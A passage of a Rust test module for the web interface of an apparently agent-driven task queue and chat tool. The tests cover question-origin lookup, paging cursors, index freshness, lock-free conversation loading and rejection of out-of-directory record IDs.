24247 true,
24248 false,
24249 ),
24250 ("review", previous.id.as_str(), false, false),
24252 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
24253 ("review", "unrelated", false, false),
24254 ] {
24255 let mut q = Question::new(
24256 reference.into(),
24257 node.into(),
24258 "seat".into(),
24259 "Question".into(),
24260 String::new(),
24261 vec![],
24262 );
24263 ui.questions.put(&mut q).unwrap();
24264 questions.push((q, expected, eligible));
24265 }
24266 for (node, reference, associated, eligible) in [
24267 (crate::reconcile::NODE, previous.id.as_str(), true, false),
24268 (
24269 crate::reconcile::NODE,
24270 previous.runs[0].as_str(),
24271 false,
24272 true,
24273 ),
24274 ("implement", previous.id.as_str(), false, false),
24275 ] {
24276 let mut q = Question::new(
24277 reference.into(),
24278 node.into(),
24279 crate::reconcile::SEAT.into(),
24280 "Reconcile".into(),
24281 String::new(),
24282 vec![],
24283 );
24284 ui.questions.put(&mut q).unwrap();
24285 questions.push((q, associated, eligible));
24286 }
24287 let mut release = Question::new(
24288 "release-record".into(),
24289 crate::bump::NOTICE_NODE.into(),
24290 "release-watch".into(),
24291 "Release".into(),
24292 String::new(),
24293 vec![],
24294 );
24295 ui.questions.put(&mut release).unwrap();
24296 let watch = crate::release_watch::WatchState {
24297 question: Some(release.id.clone()),
24298 run: Some(previous.runs[0].clone()),
24299 held_task: Some(previous.id.clone()),
24300 ..Default::default()
24301 };
24302 let watch_dir = home.path().join("release-watch");
24303 std::fs::create_dir_all(&watch_dir).unwrap();
24304 let watch_path = watch_dir.join("watch.json");
24305 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24306 for batch in [
24308 Vec::new(),
24309 questions.iter().map(|(q, _, _)| q.clone()).collect(),
24310 ] {
24311 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
24312 assert!(watches.is_empty());
24313 }
24314 questions.push((release.clone(), true, false));
24315
24316 let views = questions_list(State(ui.clone())).await.unwrap().0;
24317 let origins = question_origins(State(ui.clone())).await.unwrap().0;
24318 for (q, associated, eligible) in &questions {
24319 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
24320 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
24321 let expected = associated.then_some(chat.as_str());
24322 assert_eq!(
24323 view.origin_chat.as_deref(),
24324 expected,
24325 "{} {}",
24326 q.node,
24327 q.run
24328 );
24329 assert_eq!(origin.origin_chat.as_deref(), expected);
24330 assert_eq!(view.origin_chat_closed, *associated);
24331 assert_eq!(origin.origin_chat_closed, *associated);
24332 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
24333 assert_eq!(origin.can_consult_chat, *eligible);
24334 }
24335 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
24337 let link = crate::release_watch::WatchState {
24338 run,
24339 held_task,
24340 ..watch.clone()
24341 };
24342 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
24343 let (tasks, talks, watches) =
24344 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24345 assert_eq!(
24346 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24347 .unwrap()
24348 .id,
24349 chat,
24350 );
24351 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
24352 }
24353 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24354 let duplicate_path = watch_dir.join("duplicate.json");
24356 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24357 let (tasks, talks, watches) =
24358 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24359 assert!(
24360 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24361 .is_none()
24362 );
24363 std::fs::remove_file(duplicate_path).unwrap();
24364 let mut unrelated = Task::new(
24366 "other".into(),
24367 String::new(),
24368 PathBuf::from("/repo"),
24369 Source::Human,
24370 );
24371 unrelated.id = "unrelated-task".into();
24372 ui.queue.put(&mut unrelated).unwrap();
24373 let mut conflicting = watch.clone();
24374 conflicting.held_task = Some(unrelated.id);
24375 std::fs::write(
24376 watch_dir.join("conflict.json"),
24377 serde_json::to_vec(&conflicting).unwrap(),
24378 )
24379 .unwrap();
24380 let (tasks, talks, watches) =
24381 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24382 assert!(
24383 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24384 .is_none()
24385 );
24386 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
24387 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
24388 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
24389 assert!(origin.origin_chat.is_none());
24390 assert!(!origin.origin_chat_closed);
24391 }
24392 }
24393
24394 #[test]
24395 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
24396 let home = tempfile::tempdir().unwrap();
24397 let ui = delta_test_ui(home.path());
24398 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
24399 for i in 0..1000 {
24400 let mut task = Task::new(
24401 "unrelated".into(),
24402 "instruction ".repeat(256),
24403 PathBuf::from("/repo"),
24404 Source::Human,
24405 );
24406 task.id = format!("history-{i:04}");
24407 ui.queue.put(&mut task).unwrap();
24408 let id = seed_talk_at(&ui.talks, &task.id, "open");
24409 let mut talk = ui.talks.get(&id).unwrap();
24410 talk.pending = "history ".repeat(256);
24411 ui.talks.put(&mut talk).unwrap();
24412 }
24413 let mut parent = Task::new(
24414 "parent".into(),
24415 "body".into(),
24416 PathBuf::from("/repo"),
24417 Source::Agent {
24418 run: chat_id.clone(),
24419 node: crate::queue::CHAT_NODE.into(),
24420 },
24421 );
24422 parent.id = "task-parent".into();
24423 parent.runs = vec!["run-parent".into()];
24424 ui.queue.put(&mut parent).unwrap();
24425 let mut child = Task::new(
24426 "child".into(),
24427 "body".into(),
24428 PathBuf::from("/repo"),
24429 Source::Human,
24430 );
24431 child.id = "task-child".into();
24432 child.runs = vec!["run-child".into()];
24433 child.followup = Some(crate::queue::FollowUp {
24434 run: "run-parent".into(),
24435 origin_task: Some(parent.id.clone()),
24436 pr: "https://example.invalid/pr/1".into(),
24437 findings: vec![],
24438 generation: 1,
24439 });
24440 ui.queue.put(&mut child).unwrap();
24441 let mut question = Question::new(
24442 child.id.clone(),
24443 crate::conduct::NODE.into(),
24444 "seat".into(),
24445 "Continue?".into(),
24446 String::new(),
24447 vec![],
24448 );
24449 let (tasks, talks, _watches) =
24450 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24451 assert_eq!(tasks.len(), 2);
24452 assert_eq!(talks.len(), 1);
24453 assert_eq!(
24454 ui.monitor.queue_index.lock().unwrap().reparsed,
24455 0,
24456 "exact ancestry bypasses the index"
24457 );
24458 assert_eq!(
24459 crate::consult::origin_talk(&tasks, &talks, &question)
24460 .unwrap()
24461 .id,
24462 chat_id
24463 );
24464 question.run = "run-child".into();
24465 question.node = "review".into();
24466 for origin_task in [Some(parent.id.clone()), None] {
24467 child.followup.as_mut().unwrap().origin_task = origin_task;
24468 ui.queue.put(&mut child).unwrap();
24469 let (tasks, talks, _watches) =
24470 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24471 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
24472 let expected =
24473 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
24474 .unwrap();
24475 assert_eq!(actual.id, expected.id);
24476 assert!(!actual.status.open());
24477 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24478 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24479 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
24482 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24483 }
24484 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
24485 ui.queue.put(&mut child).unwrap();
24486 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
24487 let (tasks, talks, _watches) =
24488 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24489 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24490 child.origin_chat = Some(chat_id.clone());
24491 ui.queue.put(&mut child).unwrap();
24492 let (tasks, talks, _watches) =
24493 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24494 assert_eq!(
24495 crate::consult::origin_talk(&tasks, &talks, &question)
24496 .unwrap()
24497 .id,
24498 chat_id
24499 );
24500 let revision = question_record_revision(&question);
24501 question.abandon("settled elsewhere");
24502 assert_ne!(revision, question_record_revision(&question));
24503 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24504 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
24505 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
24506 let (tasks, talks, _watches) =
24507 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24508 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
24509 }
24510
24511 #[test]
24512 fn list_cursors_freeze_membership_and_expire_explicitly() {
24513 let home = tempfile::tempdir().unwrap();
24514 let ui = delta_test_ui(home.path());
24515 std::fs::create_dir_all(ui.queue.root()).unwrap();
24516 for i in 0..40 {
24517 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
24518 }
24519 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
24520 assert_eq!(first.len(), STORE_PAGE_SIZE);
24521 let cursor = cursor.unwrap();
24522 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
24523 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
24524 let (second, _) = page_ids(
24525 &ui,
24526 false,
24527 PageQuery {
24528 before: Some(cursor.clone()),
24529 },
24530 )
24531 .unwrap();
24532 assert_eq!(second[0], "record-0023");
24533 assert!(second.iter().all(|id| !first.contains(id)));
24534 assert!(
24535 page_ids(
24536 &ui,
24537 true,
24538 PageQuery {
24539 before: Some(cursor.clone())
24540 }
24541 )
24542 .is_err()
24543 );
24544 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
24545 assert_eq!(fresh[0], "record-9999");
24546 ui.monitor.list_walks.lock().unwrap().clear();
24547 assert!(
24548 page_ids(
24549 &ui,
24550 false,
24551 PageQuery {
24552 before: Some(cursor)
24553 }
24554 )
24555 .is_err()
24556 );
24557 }
24558
24559 #[tokio::test]
24560 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
24561 let home = tempfile::tempdir().unwrap();
24562 let ui = delta_test_ui(home.path());
24563 let mut task = Task::new(
24564 "task".into(),
24565 "body".into(),
24566 PathBuf::from("/repo"),
24567 Source::Human,
24568 );
24569 ui.queue.put(&mut task).unwrap();
24570 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24571 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24572 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
24573 let expected = parsed + usize::from(!cfg!(unix));
24574 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24575 task.status = crate::queue::TaskStatus::Held;
24576 ui.queue.put(&mut task).unwrap();
24577 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24578 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24579 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
24580 ui.queue.put(&mut task).unwrap();
24581 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
24582 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24583 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
24584 }
24585
24586 #[tokio::test]
24587 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
24588 let home = tempfile::tempdir().unwrap();
24589 let ui = delta_test_ui(home.path());
24590 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
24591 let before = health(State(ui.clone())).await.unwrap().0;
24592 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
24593 let after = health(State(ui)).await.unwrap().0;
24594 assert_ne!(before.notifications_rev, after.notifications_rev);
24595 assert_eq!(after.notifications_unread, 1);
24596 }
24597
24598 #[tokio::test]
24599 async fn list_pages_bound_history_and_keep_dependency_evidence() {
24600 let home = tempfile::tempdir().unwrap();
24601 let ui = delta_test_ui(home.path());
24602 let queue = &ui.queue;
24603 let talks = &ui.talks;
24604 for i in 0..1000 {
24605 let id = format!("20261019-{i:06}-page");
24606 let mut task = Task::new(
24607 "task".into(),
24608 "instruction".repeat(100),
24609 PathBuf::from("/repo/magi"),
24610 Source::Human,
24611 );
24612 task.id = id.clone();
24613 if i == 0 {
24614 task.status = crate::queue::TaskStatus::Held;
24615 } else if i == 999 {
24616 task.status = crate::queue::TaskStatus::Blocked;
24617 task.blocked_by = vec!["20261019-000000-page".into()];
24618 }
24619 queue.put(&mut task).unwrap();
24620 seed_talk_at(talks, &id, "open");
24621 }
24622 let page = serde_json::to_value(
24623 queue_page(State(ui.clone()), Query(PageQuery::default()))
24624 .await
24625 .unwrap()
24626 .0,
24627 )
24628 .unwrap();
24629 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24630 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
24631 assert!(
24632 !page["rows"][0]["stuck_roots"]
24633 .as_array()
24634 .unwrap()
24635 .is_empty()
24636 );
24637 let cursor = page["next"].as_str().unwrap();
24638 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
24639 .as_str()
24640 .unwrap();
24641 std::fs::remove_file(queue.path_of(last_id)).unwrap();
24643 let next = serde_json::to_value(
24644 queue_page(
24645 State(ui.clone()),
24646 Query(PageQuery {
24647 before: Some(cursor.into()),
24648 }),
24649 )
24650 .await
24651 .unwrap()
24652 .0,
24653 )
24654 .unwrap();
24655 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24656 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
24657 let chats = serde_json::to_value(
24658 talks_page(
24659 State(ui.clone()),
24660 Query(PageQuery::default()),
24661 header::HeaderMap::new(),
24662 )
24663 .await
24664 .unwrap()
24665 .0,
24666 )
24667 .unwrap();
24668 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
24669 assert!(chats["rows"][0].get("pending").is_none());
24670 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
24671 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
24672 assert_eq!(counts["held"], 1);
24673 assert_eq!(counts["blocked"], 1);
24674 assert_eq!(counts["queued"], 997);
24675 }
24676
24677 #[test]
24678 fn queue_index_observes_external_replacement_deletion_and_corruption() {
24679 let dir = tempfile::tempdir().unwrap();
24680 let ui = delta_test_ui(dir.path());
24681 let mut task = Task::new(
24682 "task".into(),
24683 "body".into(),
24684 PathBuf::from("/repo"),
24685 Source::Human,
24686 );
24687 task.runs = vec!["run-a".into()];
24688 ui.queue.put(&mut task).unwrap();
24689 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
24690 task.runs = vec!["run-b".into()];
24691 let path = ui.queue.path_of(&task.id);
24692 let modified = path.metadata().unwrap().modified().unwrap();
24693 let replacement = path.with_extension("replacement");
24694 let bytes = serde_json::to_vec_pretty(&task).unwrap();
24695 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
24696 std::fs::write(&replacement, &bytes).unwrap();
24697 std::fs::File::options()
24698 .write(true)
24699 .open(&replacement)
24700 .unwrap()
24701 .set_times(std::fs::FileTimes::new().set_modified(modified))
24702 .unwrap();
24703 std::fs::rename(&replacement, &path).unwrap();
24704 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
24705 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24706 std::fs::write(&path, "broken").unwrap();
24707 assert!(ui.find_task_for_run("run-b").is_err());
24708 std::fs::write(&path, bytes).unwrap();
24709 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24710 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24711 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24712 }
24713
24714 #[tokio::test]
24715 async fn conversation_core_is_independent_of_unreadable_related_history() {
24716 let home = tempfile::tempdir().unwrap();
24717 let ui = delta_test_ui(home.path());
24718 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24719 std::fs::create_dir_all(ui.queue.root()).unwrap();
24720 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24721 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24722 .await
24723 .unwrap();
24724 assert_eq!(core.talk.id, id);
24725 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24726 }
24727
24728 #[test]
24729 fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
24730 let home = tempfile::tempdir().unwrap();
24731 let ui = delta_test_ui(home.path());
24732 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
24733 let directory = home.path().join("workers/jobs/abcdef");
24734 std::fs::create_dir_all(&directory).unwrap();
24735 let job = crate::worker::Job {
24736 id: "abcdef".into(),
24737 sequence: 1,
24738 kind: "chat".into(),
24739 key: id.clone(),
24740 payload: serde_json::json!({ "talk": id }),
24741 generation: "test".into(),
24742 version: None,
24743 status: crate::worker::Status::Running,
24744 result: None,
24745 pid: None,
24746 created_at: 0,
24747 finished_at: None,
24748 };
24749 std::fs::write(
24750 directory.join("job.json"),
24751 serde_json::to_vec(&job).unwrap(),
24752 )
24753 .unwrap();
24754 let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
24755 let store =
24756 crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
24757 let runtime = tokio::runtime::Builder::new_current_thread()
24758 .enable_all()
24759 .max_blocking_threads(1)
24760 .build()
24761 .unwrap();
24762 runtime.block_on(async {
24763 let (release, held) = std::sync::mpsc::channel();
24764 let (started, ready) = tokio::sync::oneshot::channel();
24765 let occupied = tokio::task::spawn_blocking(move || {
24766 started.send(()).unwrap();
24767 held.recv().unwrap();
24768 });
24769 ready.await.unwrap();
24770 let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
24771 let bulk = ui
24772 .monitor
24773 .bulk_slots
24774 .clone()
24775 .acquire_many_owned(2)
24776 .await
24777 .unwrap();
24778 let result = tokio::time::timeout(
24779 Duration::from_secs(2),
24780 talk_core(State(ui.clone()), Path(id.clone())),
24781 )
24782 .await;
24783 drop(store);
24785 drop(bulk);
24786 release.send(()).unwrap();
24787 occupied.await.unwrap();
24788 let _ = secondary.await.unwrap().unwrap();
24789 let Json(core) = result
24790 .expect("transcript must bypass secondary work and the worker store lock")
24791 .unwrap();
24792 assert!(
24793 core.thinking,
24794 "read-only observation retains live worker state"
24795 );
24796 assert_eq!(core.talk.id, id);
24797 let admission_ui = ui.clone();
24798 let (release, held) = std::sync::mpsc::channel();
24799 let (started, ready) = tokio::sync::oneshot::channel();
24800 let admission = std::thread::spawn(move || {
24801 let _lock = admission_ui.talk_turns.lock().unwrap();
24802 started.send(()).unwrap();
24803 held.recv().unwrap();
24804 });
24805 ready.await.unwrap();
24806 let result = tokio::time::timeout(
24807 Duration::from_secs(2),
24808 talk_core(State(ui.clone()), Path(id.clone())),
24809 )
24810 .await;
24811 release.send(()).unwrap();
24812 admission.join().unwrap();
24813 assert!(
24814 result
24815 .expect("display must not wait behind local admission")
24816 .unwrap()
24817 .0
24818 .thinking
24819 );
24820 assert!(ui.is_thinking(&id));
24821 assert!(ui.is_thinking_observed(&id));
24822 drop(live);
24823 assert!(
24824 !ui.is_thinking_observed(&id),
24825 "a finished lease no longer appears live"
24826 );
24827 assert!(!ui.is_thinking(&id));
24828 let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
24829 assert!(
24830 ui.is_thinking_observed(&id),
24831 "local admission remains visible"
24832 );
24833 });
24834 }
24835
24836 #[tokio::test]
24837 async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
24838 let home = tempfile::tempdir().unwrap();
24839 let ui = delta_test_ui(home.path());
24840 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
24841 let mut task = Task::new(
24842 "Referenced task".into(),
24843 "Unrelated instruction history".repeat(1024),
24844 home.path().into(),
24845 Source::Human,
24846 );
24847 task.id = "20261019-000000-abcd".into();
24848 ui.queue.put(&mut task).unwrap();
24849 let mut conversation = ui.talks.get(&id).unwrap();
24850 conversation.turns.push(talk::Turn {
24851 sender: Some(talk::Sender::Persona),
24852 who: talk::Who::Agent,
24853 body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
24854 at: conversation.created_at,
24855 attachments: Vec::new(),
24856 usage: None,
24857 breaks: None,
24858 messages: Vec::new(),
24859 posted_by: None,
24860 });
24861 ui.talks.put(&mut conversation).unwrap();
24862
24863 let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
24864 let markdown = serde_json::to_value(&core.turn_bodies_md)
24865 .unwrap()
24866 .to_string();
24867 assert!(markdown.contains("\"strong\""));
24868 assert!(markdown.contains("\"table\""));
24869 assert!(markdown.contains("\"bullet_list\""));
24870 assert!(markdown.contains("\"code_block\""));
24871 assert!(!markdown.contains("\"internal_link\""));
24872 assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
24873 assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
24874 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24875
24876 let references = ui.references.for_talk(home.path(), &conversation);
24879 let mut decorated = core.turn_bodies_md[0].clone();
24880 references.markdown(&mut decorated);
24881 let decorated = serde_json::to_value(decorated).unwrap().to_string();
24882 assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
24883 assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
24884 assert_eq!(
24885 ui.talks.get(&conversation.id).unwrap().turns[0].body,
24886 conversation.turns[0].body
24887 );
24888 }
24889
24890 #[tokio::test]
24891 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24892 let home = tempfile::tempdir().unwrap();
24893 let ui = delta_test_ui(home.path());
24894 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24895 let mut run = RunState::new(
24896 PathBuf::from("/repo"),
24897 "main".into(),
24898 "01234567".into(),
24899 "Useful run".into(),
24900 Config::default(),
24901 );
24902 run.save_under(home.path()).unwrap();
24903 let mut task = Task::new(
24904 "Related".into(),
24905 "body".into(),
24906 PathBuf::from("/repo"),
24907 Source::Agent {
24908 run: talk_id.clone(),
24909 node: "chat".into(),
24910 },
24911 );
24912 task.runs = vec![run.id.clone()];
24913 ui.queue.put(&mut task).unwrap();
24914 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24915 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24916 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24917 assert!(
24918 run_detail(State(ui.clone()), Path(run.id.clone()))
24919 .await
24920 .is_ok()
24921 );
24922 assert!(
24923 talk_sections(State(ui.clone()), Path(talk_id.clone()))
24924 .await
24925 .is_ok()
24926 );
24927 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24929 assert!(ui.find_task_for_run(&run.id).is_err());
24930 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24931 ui.queue.put(&mut task).unwrap();
24932 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24933 }
24934
24935 #[tokio::test]
24936 async fn conversation_sections_omit_large_task_instructions() {
24937 let home = tempfile::tempdir().unwrap();
24938 let ui = delta_test_ui(home.path());
24939 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24940 let mut task = Task::new(
24941 "filed task".into(),
24942 "large instruction ".repeat(65536),
24943 PathBuf::from("/repo"),
24944 Source::Agent {
24945 run: id.clone(),
24946 node: "chat".into(),
24947 },
24948 );
24949 ui.queue.put(&mut task).unwrap();
24950 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24951 assert_eq!(sections["tasks"][0]["id"], task.id);
24952 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24953 assert!(sections["tasks"][0].get("instruction").is_none());
24954 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
24955 }
24956
24957 #[test]
24958 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24959 let home = tempfile::tempdir().unwrap();
24960 let talks = Talks::at(home.path().join("talks"));
24961 seed_talk_at(&talks, "20261019-000001-abcd", "open");
24962 seed_talk_at(&talks, "20261019-000002-abcd", "open");
24963 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24964 assert!(resolve_talk(&talks, "../outside").is_err());
24965 assert!(resolve_talk(&talks, "abcd").is_err());
24966 assert_eq!(
24967 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24968 "20261019-000001-abcd"
24969 );
24970 }
24971
24972 include!(concat!(
24973 env!("CARGO_MANIFEST_DIR"),
24974 "/tests/web_latency/baseline.rs"
24975 ));
24976
24977 include!(concat!(
24978 env!("CARGO_MANIFEST_DIR"),
24979 "/tests/web_latency/lists.rs"
24980 ));
24981
24982 #[tokio::test]
24983 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24984 async fn web_history_latency_measurement() {
24985 use std::time::Instant;
24986 let home = tempfile::tempdir().unwrap();
24987 let ui = delta_test_ui(home.path());
24988 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24989 let mut template = ui.talks.get(&id).unwrap();
24990 template.turns = serde_json::from_value(serde_json::json!([{
24991 "who": "operator", "body": "Show the accumulated work and its current status.",
24992 "at": Timestamp::now().to_string(),
24993 }]))
24994 .unwrap();
24995 std::fs::write(
24996 ui.talks.path_of(&id),
24997 serde_json::to_vec(&template).unwrap(),
24998 )
24999 .unwrap();
25000 let count = std::env::var("MAGI_BENCH_RECORDS")
25001 .ok()
25002 .and_then(|s| s.parse::<usize>().ok())
25003 .unwrap_or(1000);
25004 for i in 0..count {
25005 template.id = format!("20261019-{i:06}-history");
25006 template.pending = "history ".repeat(2048);
25007 std::fs::write(
25008 ui.talks.path_of(&template.id),
25009 serde_json::to_vec(&template).unwrap(),
25010 )
25011 .unwrap();
25012 let mut task = Task::new(
25013 "old task".into(),
25014 "instruction ".repeat(2048),
25015 PathBuf::from("/repo"),
25016 Source::Human,
25017 );
25018 task.id = format!("20261019-{i:06}-task");
25019 ui.queue.put(&mut task).unwrap();
25020 }
25021 for baseline in [true, false] {
25022 for clients in [1, 4] {
25023 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
25024 let mut samples = Vec::new();
25025 for _ in 0..12 {
25026 let mut jobs = Vec::new();
25027 for _ in 0..clients {
25028 let ui = ui.clone();
25029 let id = id.clone();
25030 jobs.push(tokio::spawn(async move {
25031 let start = Instant::now();
25032 if baseline {
25033 let response =
25034 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
25035 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
25036 return (
25037 elapsed,
25038 elapsed,
25039 serde_json::to_vec(&response).unwrap().len(),
25040 );
25041 }
25042 let core = talk_core(State(ui.clone()), Path(id.clone()));
25043 let secondary = talk_sections(State(ui), Path(id));
25044 let (first, total) = tokio::join!(
25045 async {
25046 let value = core.await.unwrap().0;
25047 (
25048 start.elapsed().as_secs_f64() * 1000.0,
25049 serde_json::to_vec(&value).unwrap().len(),
25050 )
25051 },
25052 async {
25053 let value = secondary.await.unwrap().0;
25054 (
25055 start.elapsed().as_secs_f64() * 1000.0,
25056 serde_json::to_vec(&value).unwrap().len(),
25057 )
25058 }
25059 );
25060 (first.0, first.0.max(total.0), first.1 + total.1)
25061 }));
25062 }
25063 for job in jobs {
25064 samples.push(job.await.unwrap());
25065 }
25066 }
25067 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
25068 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
25069 first.sort_by(f64::total_cmp);
25070 total.sort_by(f64::total_cmp);
25071 let n = first.len();
25072 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
25073 println!(
25074 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
25075 first[n / 2],
25076 first[(n * 95 / 100).min(n - 1)],
25077 total[n / 2],
25078 total[(n * 95 / 100).min(n - 1)],
25079 samples[0].2
25080 );
25081 }
25082 }
25083 }
25084
25085 #[test]
25086 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
25087 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
25089 assert!(APP_JS.contains("function nextRunRequest(id)"));
25090 assert!(APP_JS.contains("function runShell(id, summary)"));
25091 assert!(APP_JS.contains("function nextTaskRequest(id)"));
25092 assert!(APP_JS.contains("function taskShell(id, summary)"));
25093 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
25094 }
25095}